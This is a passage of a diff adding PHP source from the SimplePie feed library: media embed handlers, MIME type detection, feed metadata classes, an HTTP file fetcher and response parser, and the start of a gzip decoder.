+				$embed .= '<script type="text/javascript">embed_odeo("' . $this->get_link() . '");</script>';
+			}
+		}
+
+		// Flash
+		elseif ($handler == 'flash')
+		{
+			if ($native)
+			{
+				$embed .= "<embed src=\"" . $this->get_link() . "\" pluginspage=\"http://adobe.com/go/getflashplayer\" type=\"$type\" quality=\"high\" width=\"$width\" height=\"$height\" bgcolor=\"$bgcolor\" loop=\"$loop\"></embed>";
+			}
+			else
+			{
+				$embed .= "<script type='text/javascript'>embed_flash('$bgcolor', '$width', '$height', '" . $this->get_link() . "', '$loop', '$type');</script>";
+			}
+		}
+
+		// Flash Media Player file types.
+		// Preferred handler for MP3 file types.
+		elseif ($handler == 'fmedia' || ($handler == 'mp3' && $mediaplayer != ''))
+		{
+			$height += 20;
+			if ($native)
+			{
+				$embed .= "<embed src=\"$mediaplayer\" pluginspage=\"http://adobe.com/go/getflashplayer\" type=\"application/x-shockwave-flash\" quality=\"high\" width=\"$width\" height=\"$height\" wmode=\"transparent\" flashvars=\"file=" . rawurlencode($this->get_link().'?file_extension=.'.$this->get_extension()) . "&autostart=false&repeat=$loop&showdigits=true&showfsbutton=false\"></embed>";
+			}
+			else
+			{
+				$embed .= "<script type='text/javascript'>embed_flv('$width', '$height', '" . rawurlencode($this->get_link().'?file_extension=.'.$this->get_extension()) . "', '$placeholder', '$loop', '$mediaplayer');</script>";
+			}
+		}
+
+		// QuickTime 7 file types.  Need to test with QuickTime 6.
+		// Only handle MP3's if the Flash Media Player is not present.
+		elseif ($handler == 'quicktime' || ($handler == 'mp3' && $mediaplayer == ''))
+		{
+			$height += 16;
+			if ($native)
+			{
+				if ($placeholder != ""){
+					$embed .= "<embed type=\"$type\" style=\"cursor:hand; cursor:pointer;\" href=\"" . $this->get_link() . "\" src=\"$placeholder\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"false\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\"></embed>";
+				}
+				else {
+					$embed .= "<embed type=\"$type\" style=\"cursor:hand; cursor:pointer;\" src=\"" . $this->get_link() . "\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"true\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\"></embed>";
+				}
+			}
+			else
+			{
+				$embed .= "<script type='text/javascript'>embed_quicktime('$type', '$bgcolor', '$width', '$height', '" . $this->get_link() . "', '$placeholder', '$loop');</script>";
+			}
+		}
+
+		// Windows Media
+		elseif ($handler == 'wmedia')
+		{
+			$height += 45;
+			if ($native)
+			{
+				$embed .= "<embed type=\"application/x-mplayer2\" src=\"" . $this->get_link() . "\" autosize=\"1\" width=\"$width\" height=\"$height\" showcontrols=\"1\" showstatusbar=\"0\" showdisplay=\"0\" autostart=\"0\"></embed>";
+			}
+			else
+			{
+				$embed .= "<script type='text/javascript'>embed_wmedia('$width', '$height', '" . $this->get_link() . "');</script>";
+			}
+		}
+
+		// Everything else
+		else $embed .= '<a href="' . $this->get_link() . '" class="' . $altclass . '">' . $alt . '</a>';
+
+		return $embed;
+	}
+
+	function get_real_type($find_handler = false)
+	{
+		// If it's Odeo, let's get it out of the way.
+		if (substr(strtolower($this->get_link()), 0, 15) == 'http://odeo.com')
+		{
+			return 'odeo';
+		}
+
+		// Mime-types by handler.
+		$types_flash = array('application/x-shockwave-flash', 'application/futuresplash'); // Flash
+		$types_fmedia = array('video/flv', 'video/x-flv','flv-application/octet-stream'); // Flash Media Player
+		$types_quicktime = array('audio/3gpp', 'audio/3gpp2', 'audio/aac', 'audio/x-aac', 'audio/aiff', 'audio/x-aiff', 'audio/mid', 'audio/midi', 'audio/x-midi', 'audio/mp4', 'audio/m4a', 'audio/x-m4a', 'audio/wav', 'audio/x-wav', 'video/3gpp', 'video/3gpp2', 'video/m4v', 'video/x-m4v', 'video/mp4', 'video/mpeg', 'video/x-mpeg', 'video/quicktime', 'video/sd-video'); // QuickTime
+		$types_wmedia = array('application/asx', 'application/x-mplayer2', 'audio/x-ms-wma', 'audio/x-ms-wax', 'video/x-ms-asf-plugin', 'video/x-ms-asf', 'video/x-ms-wm', 'video/x-ms-wmv', 'video/x-ms-wvx'); // Windows Media
+		$types_mp3 = array('audio/mp3', 'audio/x-mp3', 'audio/mpeg', 'audio/x-mpeg'); // MP3
+
+		if ($this->get_type() !== null)
+		{
+			$type = strtolower($this->type);
+		}
+		else
+		{
+			$type = null;
+		}
+
+		// If we encounter an unsupported mime-type, check the file extension and guess intelligently.
+		if (!in_array($type, array_merge($types_flash, $types_fmedia, $types_quicktime, $types_wmedia, $types_mp3)))
+		{
+			switch (strtolower($this->get_extension()))
+			{
+				// Audio mime-types
+				case 'aac':
+				case 'adts':
+					$type = 'audio/acc';
+					break;
+
+				case 'aif':
+				case 'aifc':
+				case 'aiff':
+				case 'cdda':
+					$type = 'audio/aiff';
+					break;
+
+				case 'bwf':
+					$type = 'audio/wav';
+					break;
+
+				case 'kar':
+				case 'mid':
+				case 'midi':
+				case 'smf':
+					$type = 'audio/midi';
+					break;
+
+				case 'm4a':
+					$type = 'audio/x-m4a';
+					break;
+
+				case 'mp3':
+				case 'swa':
+					$type = 'audio/mp3';
+					break;
+
+				case 'wav':
+					$type = 'audio/wav';
+					break;
+
+				case 'wax':
+					$type = 'audio/x-ms-wax';
+					break;
+
+				case 'wma':
+					$type = 'audio/x-ms-wma';
+					break;
+
+				// Video mime-types
+				case '3gp':
+				case '3gpp':
+					$type = 'video/3gpp';
+					break;
+
+				case '3g2':
+				case '3gp2':
+					$type = 'video/3gpp2';
+					break;
+
+				case 'asf':
+					$type = 'video/x-ms-asf';
+					break;
+
+				case 'flv':
+					$type = 'video/x-flv';
+					break;
+
+				case 'm1a':
+				case 'm1s':
+				case 'm1v':
+				case 'm15':
+				case 'm75':
+				case 'mp2':
+				case 'mpa':
+				case 'mpeg':
+				case 'mpg':
+				case 'mpm':
+				case 'mpv':
+					$type = 'video/mpeg';
+					break;
+
+				case 'm4v':
+					$type = 'video/x-m4v';
+					break;
+
+				case 'mov':
+				case 'qt':
+					$type = 'video/quicktime';
+					break;
+
+				case 'mp4':
+				case 'mpg4':
+					$type = 'video/mp4';
+					break;
+
+				case 'sdv':
+					$type = 'video/sd-video';
+					break;
+
+				case 'wm':
+					$type = 'video/x-ms-wm';
+					break;
+
+				case 'wmv':
+					$type = 'video/x-ms-wmv';
+					break;
+
+				case 'wvx':
+					$type = 'video/x-ms-wvx';
+					break;
+
+				// Flash mime-types
+				case 'spl':
+					$type = 'application/futuresplash';
+					break;
+
+				case 'swf':
+					$type = 'application/x-shockwave-flash';
+					break;
+			}
+		}
+
+		if ($find_handler)
+		{
+			if (in_array($type, $types_flash))
+			{
+				return 'flash';
+			}
+			elseif (in_array($type, $types_fmedia))
+			{
+				return 'fmedia';
+			}
+			elseif (in_array($type, $types_quicktime))
+			{
+				return 'quicktime';
+			}
+			elseif (in_array($type, $types_wmedia))
+			{
+				return 'wmedia';
+			}
+			elseif (in_array($type, $types_mp3))
+			{
+				return 'mp3';
+			}
+			else
+			{
+				return null;
+			}
+		}
+		else
+		{
+			return $type;
+		}
+	}
+}
+
+class SimplePie_Caption
+{
+	var $type;
+	var $lang;
+	var $startTime;
+	var $endTime;
+	var $text;
+
+	// Constructor, used to input the data
+	function SimplePie_Caption($type = null, $lang = null, $startTime = null, $endTime = null, $text = null)
+	{
+		$this->type = $type;
+		$this->lang = $lang;
+		$this->startTime = $startTime;
+		$this->endTime = $endTime;
+		$this->text = $text;
+	}
+
+	function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	function get_endtime()
+	{
+		if ($this->endTime !== null)
+		{
+			return $this->endTime;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_language()
+	{
+		if ($this->lang !== null)
+		{
+			return $this->lang;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_starttime()
+	{
+		if ($this->startTime !== null)
+		{
+			return $this->startTime;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_text()
+	{
+		if ($this->text !== null)
+		{
+			return $this->text;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_type()
+	{
+		if ($this->type !== null)
+		{
+			return $this->type;
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
+
+class SimplePie_Credit
+{
+	var $role;
+	var $scheme;
+	var $name;
+
+	// Constructor, used to input the data
+	function SimplePie_Credit($role = null, $scheme = null, $name = null)
+	{
+		$this->role = $role;
+		$this->scheme = $scheme;
+		$this->name = $name;
+	}
+
+	function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	function get_role()
+	{
+		if ($this->role !== null)
+		{
+			return $this->role;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_scheme()
+	{
+		if ($this->scheme !== null)
+		{
+			return $this->scheme;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_name()
+	{
+		if ($this->name !== null)
+		{
+			return $this->name;
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
+
+class SimplePie_Copyright
+{
+	var $url;
+	var $label;
+
+	// Constructor, used to input the data
+	function SimplePie_Copyright($url = null, $label = null)
+	{
+		$this->url = $url;
+		$this->label = $label;
+	}
+
+	function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	function get_url()
+	{
+		if ($this->url !== null)
+		{
+			return $this->url;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_attribution()
+	{
+		if ($this->label !== null)
+		{
+			return $this->label;
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
+
+class SimplePie_Rating
+{
+	var $scheme;
+	var $value;
+
+	// Constructor, used to input the data
+	function SimplePie_Rating($scheme = null, $value = null)
+	{
+		$this->scheme = $scheme;
+		$this->value = $value;
+	}
+
+	function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	function get_scheme()
+	{
+		if ($this->scheme !== null)
+		{
+			return $this->scheme;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_value()
+	{
+		if ($this->value !== null)
+		{
+			return $this->value;
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
+
+class SimplePie_Restriction
+{
+	var $relationship;
+	var $type;
+	var $value;
+
+	// Constructor, used to input the data
+	function SimplePie_Restriction($relationship = null, $type = null, $value = null)
+	{
+		$this->relationship = $relationship;
+		$this->type = $type;
+		$this->value = $value;
+	}
+
+	function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	function get_relationship()
+	{
+		if ($this->relationship !== null)
+		{
+			return $this->relationship;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_type()
+	{
+		if ($this->type !== null)
+		{
+			return $this->type;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_value()
+	{
+		if ($this->value !== null)
+		{
+			return $this->value;
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
+
+/**
+ * @todo Move to properly supporting RFC2616 (HTTP/1.1)
+ */
+class SimplePie_File
+{
+	var $url;
+	var $useragent;
+	var $success = true;
+	var $headers = array();
+	var $body;
+	var $status_code;
+	var $redirects = 0;
+	var $error;
+	var $method = SIMPLEPIE_FILE_SOURCE_NONE;
+
+	function SimplePie_File($url, $timeout = 10, $redirects = 5, $headers = null, $useragent = null, $force_fsockopen = false)
+	{
+		if (class_exists('idna_convert'))
+		{
+			$idn =& new idna_convert;
+			$parsed = SimplePie_Misc::parse_url($url);
+			$url = SimplePie_Misc::compress_parse_url($parsed['scheme'], $idn->encode($parsed['authority']), $parsed['path'], $parsed['query'], $parsed['fragment']);
+		}
+		$this->url = $url;
+		$this->useragent = $useragent;
+		if (preg_match('/^http(s)?:\/\//i', $url))
+		{
+			if ($useragent === null)
+			{
+				$useragent = ini_get('user_agent');
+				$this->useragent = $useragent;
+			}
+			if (!is_array($headers))
+			{
+				$headers = array();
+			}
+			if (!$force_fsockopen && function_exists('curl_exec'))
+			{
+				$this->method = SIMPLEPIE_FILE_SOURCE_REMOTE | SIMPLEPIE_FILE_SOURCE_CURL;
+				$fp = curl_init();
+				$headers2 = array();
+				foreach ($headers as $key => $value)
+				{
+					$headers2[] = "$key: $value";
+				}
+				if (version_compare(SimplePie_Misc::get_curl_version(), '7.10.5', '>='))
+				{
+					curl_setopt($fp, CURLOPT_ENCODING, '');
+				}
+				curl_setopt($fp, CURLOPT_URL, $url);
+				curl_setopt($fp, CURLOPT_HEADER, 1);
+				curl_setopt($fp, CURLOPT_RETURNTRANSFER, 1);
+				curl_setopt($fp, CURLOPT_TIMEOUT, $timeout);
+				curl_setopt($fp, CURLOPT_CONNECTTIMEOUT, $timeout);
+				curl_setopt($fp, CURLOPT_REFERER, $url);
+				curl_setopt($fp, CURLOPT_USERAGENT, $useragent);
+				curl_setopt($fp, CURLOPT_HTTPHEADER, $headers2);
+				if (!ini_get('open_basedir') && !ini_get('safe_mode') && version_compare(SimplePie_Misc::get_curl_version(), '7.15.2', '>='))
+				{
+					curl_setopt($fp, CURLOPT_FOLLOWLOCATION, 1);
+					curl_setopt($fp, CURLOPT_MAXREDIRS, $redirects);
+				}
+
+				$this->headers = curl_exec($fp);
+				if (curl_errno($fp) == 23 || curl_errno($fp) == 61)
+				{
+					curl_setopt($fp, CURLOPT_ENCODING, 'none');
+					$this->headers = curl_exec($fp);
+				}
+				if (curl_errno($fp))
+				{
+					$this->error = 'cURL error ' . curl_errno($fp) . ': ' . curl_error($fp);
+					$this->success = false;
+				}
+				else
+				{
+					$info = curl_getinfo($fp);
+					curl_close($fp);
+					$this->headers = explode("\r\n\r\n", $this->headers, $info['redirect_count'] + 1);
+					$this->headers = array_pop($this->headers);
+					$parser =& new SimplePie_HTTP_Parser($this->headers);
+					if ($parser->parse())
+					{
+						$this->headers = $parser->headers;
+						$this->body = $parser->body;
+						$this->status_code = $parser->status_code;
+						if (($this->status_code == 300 || $this->status_code == 301 || $this->status_code == 302 || $this->status_code == 303 || $this->status_code == 307 || $this->status_code > 307 && $this->status_code < 400) && isset($this->headers['location']) && $this->redirects < $redirects)
+						{
+							$this->redirects++;
+							$location = SimplePie_Misc::absolutize_url($this->headers['location'], $url);
+							return $this->SimplePie_File($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen);
+						}
+					}
+				}
+			}
+			else
+			{
+				$this->method = SIMPLEPIE_FILE_SOURCE_REMOTE | SIMPLEPIE_FILE_SOURCE_FSOCKOPEN;
+				$url_parts = parse_url($url);
+				if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) == 'https')
+				{
+					$url_parts['host'] = "ssl://$url_parts[host]";
+					$url_parts['port'] = 443;
+				}
+				if (!isset($url_parts['port']))
+				{
+					$url_parts['port'] = 80;
+				}
+				$fp = @fsockopen($url_parts['host'], $url_parts['port'], $errno, $errstr, $timeout);
+				if (!$fp)
+				{
+					$this->error = 'fsockopen error: ' . $errstr;
+					$this->success = false;
+				}
+				else
+				{
+					stream_set_timeout($fp, $timeout);
+					if (isset($url_parts['path']))
+					{
+						if (isset($url_parts['query']))
+						{
+							$get = "$url_parts[path]?$url_parts[query]";
+						}
+						else
+						{
+							$get = $url_parts['path'];
+						}
+					}
+					else
+					{
+						$get = '/';
+					}
+					$out = "GET $get HTTP/1.0\r\n";
+					$out .= "Host: $url_parts[host]\r\n";
+					$out .= "User-Agent: $useragent\r\n";
+					if (extension_loaded('zlib'))
+					{
+						$out .= "Accept-Encoding: x-gzip,gzip,deflate\r\n";
+					}
+
+					if (isset($url_parts['user']) && isset($url_parts['pass']))
+					{
+						$out .= "Authorization: Basic " . base64_encode("$url_parts[user]:$url_parts[pass]") . "\r\n";
+					}
+					foreach ($headers as $key => $value)
+					{
+						$out .= "$key: $value\r\n";
+					}
+					$out .= "Connection: Close\r\n\r\n";
+					fwrite($fp, $out);
+
+					$info = stream_get_meta_data($fp);
+
+					$this->headers = '';
+					while (!$info['eof'] && !$info['timed_out'])
+					{
+						$this->headers .= fread($fp, 1160);
+						$info = stream_get_meta_data($fp);
+					}
+					if (!$info['timed_out'])
+					{
+						$parser =& new SimplePie_HTTP_Parser($this->headers);
+						if ($parser->parse())
+						{
+							$this->headers = $parser->headers;
+							$this->body = $parser->body;
+							$this->status_code = $parser->status_code;
+							if (($this->status_code == 300 || $this->status_code == 301 || $this->status_code == 302 || $this->status_code == 303 || $this->status_code == 307 || $this->status_code > 307 && $this->status_code < 400) && isset($this->headers['location']) && $this->redirects < $redirects)
+							{
+								$this->redirects++;
+								$location = SimplePie_Misc::absolutize_url($this->headers['location'], $url);
+								return $this->SimplePie_File($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen);
+							}
+							if (isset($this->headers['content-encoding']))
+							{
+								// Hey, we act dumb elsewhere, so let's do that here too
+								switch (strtolower(trim($this->headers['content-encoding'], "\x09\x0A\x0D\x20")))
+								{
+									case 'gzip':
+									case 'x-gzip':
+										$decoder =& new SimplePie_gzdecode($this->body);
+										if (!$decoder->parse())
+										{
+											$this->error = 'Unable to decode HTTP "gzip" stream';
+											$this->success = false;
+										}
+										else
+										{
+											$this->body = $decoder->data;
+										}
+										break;
+
+									case 'deflate':
+										if (($body = gzuncompress($this->body)) === false)
+										{
+											if (($body = gzinflate($this->body)) === false)
+											{
+												$this->error = 'Unable to decode HTTP "deflate" stream';
+												$this->success = false;
+											}
+										}
+										$this->body = $body;
+										break;
+
+									default:
+										$this->error = 'Unknown content coding';
+										$this->success = false;
+								}
+							}
+						}
+					}
+					else
+					{
+						$this->error = 'fsocket timed out';
+						$this->success = false;
+					}
+					fclose($fp);
+				}
+			}
+		}
+		else
+		{
+			$this->method = SIMPLEPIE_FILE_SOURCE_LOCAL | SIMPLEPIE_FILE_SOURCE_FILE_GET_CONTENTS;
+			if (!$this->body = file_get_contents($url))
+			{
+				$this->error = 'file_get_contents could not read the file';
+				$this->success = false;
+			}
+		}
+	}
+}
+
+/**
+ * HTTP Response Parser
+ *
+ * @package SimplePie
+ */
+class SimplePie_HTTP_Parser
+{
+	/**
+	 * HTTP Version
+	 *
+	 * @access public
+	 * @var float
+	 */
+	var $http_version = 0.0;
+
+	/**
+	 * Status code
+	 *
+	 * @access public
+	 * @var int
+	 */
+	var $status_code = 0;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @access public
+	 * @var string
+	 */
+	var $reason = '';
+
+	/**
+	 * Key/value pairs of the headers
+	 *
+	 * @access public
+	 * @var array
+	 */
+	var $headers = array();
+
+	/**
+	 * Body of the response
+	 *
+	 * @access public
+	 * @var string
+	 */
+	var $body = '';
+
+	/**
+	 * Current state of the state machine
+	 *
+	 * @access private
+	 * @var string
+	 */
+	var $state = 'http_version';
+
+	/**
+	 * Input data
+	 *
+	 * @access private
+	 * @var string
+	 */
+	var $data = '';
+
+	/**
+	 * Input data length (to avoid calling strlen() everytime this is needed)
+	 *
+	 * @access private
+	 * @var int
+	 */
+	var $data_length = 0;
+
+	/**
+	 * Current position of the pointer
+	 *
+	 * @var int
+	 * @access private
+	 */
+	var $position = 0;
+
+	/**
+	 * Name of the hedaer currently being parsed
+	 *
+	 * @access private
+	 * @var string
+	 */
+	var $name = '';
+
+	/**
+	 * Value of the hedaer currently being parsed
+	 *
+	 * @access private
+	 * @var string
+	 */
+	var $value = '';
+
+	/**
+	 * Create an instance of the class with the input data
+	 *
+	 * @access public
+	 * @param string $data Input data
+	 */
+	function SimplePie_HTTP_Parser($data)
+	{
+		$this->data = $data;
+		$this->data_length = strlen($this->data);
+	}
+
+	/**
+	 * Parse the input data
+	 *
+	 * @access public
+	 * @return bool true on success, false on failure
+	 */
+	function parse()
+	{
+		while ($this->state && $this->state !== 'emit' && $this->has_data())
+		{
+			$state = $this->state;
+			$this->$state();
+		}
+		$this->data = '';
+		if ($this->state === 'emit' || $this->state === 'body')
+		{
+			return true;
+		}
+		else
+		{
+			$this->http_version = '';
+			$this->status_code = '';
+			$this->reason = '';
+			$this->headers = array();
+			$this->body = '';
+			return false;
+		}
+	}
+
+	/**
+	 * Check whether there is data beyond the pointer
+	 *
+	 * @access private
+	 * @return bool true if there is further data, false if not
+	 */
+	function has_data()
+	{
+		return (bool) ($this->position < $this->data_length);
+	}
+
+	/**
+	 * See if the next character is LWS
+	 *
+	 * @access private
+	 * @return bool true if the next character is LWS, false if not
+	 */
+	function is_linear_whitespace()
+	{
+		return (bool) ($this->data[$this->position] === "\x09"
+			|| $this->data[$this->position] === "\x20"
+			|| ($this->data[$this->position] === "\x0A"
+				&& isset($this->data[$this->position + 1])
+				&& ($this->data[$this->position + 1] === "\x09" || $this->data[$this->position + 1] === "\x20")));
+	}
+
+	/**
+	 * Parse the HTTP version
+	 *
+	 * @access private
+	 */
+	function http_version()
+	{
+		if (strpos($this->data, "\x0A") !== false && strtoupper(substr($this->data, 0, 5)) === 'HTTP/')
+		{
+			$len = strspn($this->data, '0123456789.', 5);
+			$this->http_version = substr($this->data, 5, $len);
+			$this->position += 5 + $len;
+			if (substr_count($this->http_version, '.') <= 1)
+			{
+				$this->http_version = (float) $this->http_version;
+				$this->position += strspn($this->data, "\x09\x20", $this->position);
+				$this->state = 'status';
+			}
+			else
+			{
+				$this->state = false;
+			}
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	/**
+	 * Parse the status code
+	 *
+	 * @access private
+	 */
+	function status()
+	{
+		if ($len = strspn($this->data, '0123456789', $this->position))
+		{
+			$this->status_code = (int) substr($this->data, $this->position, $len);
+			$this->position += $len;
+			$this->state = 'reason';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	/**
+	 * Parse the reason phrase
+	 *
+	 * @access private
+	 */
+	function reason()
+	{
+		$len = strcspn($this->data, "\x0A", $this->position);
+		$this->reason = trim(substr($this->data, $this->position, $len), "\x09\x0D\x20");
+		$this->position += $len + 1;
+		$this->state = 'new_line';
+	}
+
+	/**
+	 * Deal with a new line, shifting data around as needed
+	 *
+	 * @access private
+	 */
+	function new_line()
+	{
+		$this->value = trim($this->value, "\x0D\x20");
+		if ($this->name !== '' && $this->value !== '')
+		{
+			$this->name = strtolower($this->name);
+			if (isset($this->headers[$this->name]))
+			{
+				$this->headers[$this->name] .= ', ' . $this->value;
+			}
+			else
+			{
+				$this->headers[$this->name] = $this->value;
+			}
+		}
+		$this->name = '';
+		$this->value = '';
+		if (substr($this->data[$this->position], 0, 2) === "\x0D\x0A")
+		{
+			$this->position += 2;
+			$this->state = 'body';
+		}
+		elseif ($this->data[$this->position] === "\x0A")
+		{
+			$this->position++;
+			$this->state = 'body';
+		}
+		else
+		{
+			$this->state = 'name';
+		}
+	}
+
+	/**
+	 * Parse a header name
+	 *
+	 * @access private
+	 */
+	function name()
+	{
+		$len = strcspn($this->data, "\x0A:", $this->position);
+		if (isset($this->data[$this->position + $len]))
+		{
+			if ($this->data[$this->position + $len] === "\x0A")
+			{
+				$this->position += $len;
+				$this->state = 'new_line';
+			}
+			else
+			{
+				$this->name = substr($this->data, $this->position, $len);
+				$this->position += $len + 1;
+				$this->state = 'value';
+			}
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	/**
+	 * Parse LWS, replacing consecutive LWS characters with a single space
+	 *
+	 * @access private
+	 */
+	function linear_whitespace()
+	{
+		do
+		{
+			if (substr($this->data, $this->position, 2) === "\x0D\x0A")
+			{
+				$this->position += 2;
+			}
+			elseif ($this->data[$this->position] === "\x0A")
+			{
+				$this->position++;
+			}
+			$this->position += strspn($this->data, "\x09\x20", $this->position);
+		} while ($this->has_data() && $this->is_linear_whitespace());
+		$this->value .= "\x20";
+	}
+
+	/**
+	 * See what state to move to while within non-quoted header values
+	 *
+	 * @access private
+	 */
+	function value()
+	{
+		if ($this->is_linear_whitespace())
+		{
+			$this->linear_whitespace();
+		}
+		else
+		{
+			switch ($this->data[$this->position])
+			{
+				case '"':
+					$this->position++;
+					$this->state = 'quote';
+					break;
+
+				case "\x0A":
+					$this->position++;
+					$this->state = 'new_line';
+					break;
+
+				default:
+					$this->state = 'value_char';
+					break;
+			}
+		}
+	}
+
+	/**
+	 * Parse a header value while outside quotes
+	 *
+	 * @access private
+	 */
+	function value_char()
+	{
+		$len = strcspn($this->data, "\x09\x20\x0A\"", $this->position);
+		$this->value .= substr($this->data, $this->position, $len);
+		$this->position += $len;
+		$this->state = 'value';
+	}
+
+	/**
+	 * See what state to move to while within quoted header values
+	 *
+	 * @access private
+	 */
+	function quote()
+	{
+		if ($this->is_linear_whitespace())
+		{
+			$this->linear_whitespace();
+		}
+		else
+		{
+			switch ($this->data[$this->position])
+			{
+				case '"':
+					$this->position++;
+					$this->state = 'value';
+					break;
+
+				case "\x0A":
+					$this->position++;
+					$this->state = 'new_line';
+					break;
+
+				case '\\':
+					$this->position++;
+					$this->state = 'quote_escaped';
+					break;
+
+				default:
+					$this->state = 'quote_char';
+					break;
+			}
+		}
+	}
+
+	/**
+	 * Parse a header value while within quotes
+	 *
+	 * @access private
+	 */
+	function quote_char()
+	{
+		$len = strcspn($this->data, "\x09\x20\x0A\"\\", $this->position);
+		$this->value .= substr($this->data, $this->position, $len);
+		$this->position += $len;
+		$this->state = 'value';
+	}
+
+	/**
+	 * Parse an escaped character within quotes
+	 *
+	 * @access private
+	 */
+	function quote_escaped()
+	{
+		$this->value .= $this->data[$this->position];
+		$this->position++;
+		$this->state = 'quote';
+	}
+
+	/**
+	 * Parse the body
+	 *
+	 * @access private
+	 */
+	function body()
+	{
+		$this->body = substr($this->data, $this->position);
+		$this->state = 'emit';
+	}
+}
+
+/**
+ * gzdecode
+ *
+ * @package SimplePie
+ */
+class SimplePie_gzdecode
+{
+	/**
+	 * Compressed data
+	 *
+	 * @access private
+	 * @see gzdecode::$data
+	 */
+	var $compressed_data;
+
+	/**
+	 * Size of compressed data
+	 *
+	 * @access private
+	 */
+	var $compressed_size;
+
+	/**
+	 * Minimum size of a valid gzip string
+	 *
+	 * @access private
+	 */
+	var $min_compressed_size = 18;
+
+	/**
+	 * Current position of pointer
+	 *
+	 * @access private
+	 */
+	var $position = 0;
+
+	/**
+	 * Flags (FLG)
+	 *
+	 * @access private
+	 */
+	var $flags;
+
+	/**
+	 * Uncompressed data
+	 *
+	 * @access public
+	 * @see gzdecode::$compressed_data
+	 */
+	var $data;
+
+	/**
+	 * Modified time
+	 *
+	 * @access public
+	 */
+	var $MTIME;
+
+	/**
+	 * Extra Flags
+	 *
+	 * @access public
+	 */
+	var $XFL;
+
+	/**
+	 * Operating System
+	 *
+	 * @access public
+	 */
+	var $OS;
+
+	/**
+	 * Subfield ID 1
+	 *
+	 * @access public
+	 * @see gzdecode::$extra_field
+	 * @see gzdecode::$SI2
+	 */
+	var $SI1;
+
+	/**
+	 * Subfield ID 2
+	 *
+	 * @access public
+	 * @see gzdecode::$extra_field
+	 * @see gzdecode::$SI1
+	 */
+	var $SI2;
+
+	/**
+	 * Extra field content
+	 *
+	 * @access public
+	 * @see gzdecode::$SI1
+	 * @see gzdecode::$SI2
+	 */
+	var $extra_field;
+
+	/**
+	 * Original filename
+	 *
+	 * @access public
+	 */
+	var $filename;
+
+	/**
+	 * Human readable comment
+	 *
+	 * @access public
+	 */
+	var $comment;
+
+	/**
+	 * Don't allow anything to be set
+	 *
+	 * @access public
+	 */
+	function __set($name, $value)
+	{
+		trigger_error("Cannot write property $name", E_USER_ERROR);
+	}
+
+	/**
+	 * Set the compressed string and related properties
+	 *
+	 * @access public
+	 */
+	function SimplePie_gzdecode($data)
+	{
+		$this->compressed_data = $data;
+		$this->compressed_size = strlen($data);
+	}
+
+	/**
+	 * Decode the GZIP stream
+	 *
+	 * @access public
+	 */
+	function parse()
+	{
+		if ($this->compressed_size >= $this->min_compressed_size)
+		{
+			// Check ID1, ID2, and CM
+			if (substr($this->compressed_data, 0, 3) !== "\x1F\x8B\x08")
+			{
+				return false;
+			}
+
+			// Get the FLG (FLaGs)
+			$this->flags = ord($this->compressed_data[3]);
+
+			// FLG bits above (1 << 4) are reserved
+			if ($this->flags > 0x1F)
+			{
+				return false;
+			}
+
+			// Advance the pointer after the above
+			$this->position += 4;
+
+			// MTIME
+			$mtime = substr($this->compressed_data, $this->position, 4);
+			// Reverse the string if we're on a big-endian arch because l is the only signed long and is machine endianness
+			if (current(unpack('S', "\x00\x01")) === 1)
+			{
+				$mtime = strrev($mtime);
+			}
+			$this->MTIME = current(unpack('l', $mtime));
+			$this->position += 4;
+
+			// Get the XFL (eXtra FLags)
+			$this->XFL = ord($this->compressed_data[$this->position++]);
+
+			// Get the OS (Operating System)
+			$this->OS = ord($this->compressed_data[$this->position++]);
+
+			// Parse the FEXTRA
+			if ($this->flags & 4)
+			{
+				// Read subfield IDs
+				$this->SI1 = $this->compressed_data[$this->position++];
+				$this->SI2 = $this->compressed_data[$this->position++];
+
+				// SI2 set to zero is reserved for future use
+				if ($this->SI2 === "\x00")
+				{
+					return false;
+				}
+
+				// Get the length of the extra field
+				$len = current(unpack('v', substr($this->compressed_data, $this->position, 2)));
+				$position += 2;
+
+				// Check the length of the string is still valid
+				$this->min_compressed_size += $len + 4;
+				if ($this->compressed_size >= $this->min_compressed_size)
+				{
+					// Set the extra field to the given data
+					$this->extra_field = substr($this->compressed_data, $this->position, $len);
+					$this->position += $len;
+				}
+				else
+				{
+					return false;
+				}
+			}
+
+			// Parse the FNAME
+			if ($this->flags & 8)
+			{
+				// Get the length of the filename
+				$len = strspn($this->compressed_data, "\x00", $this->position);
+
+				// Check the length of the string is still valid
+				$this->min_compressed_size += $len + 1;
+				if ($this->compressed_size >= $this->min_compressed_size)
+				{
+					// Set the original filename to the given string
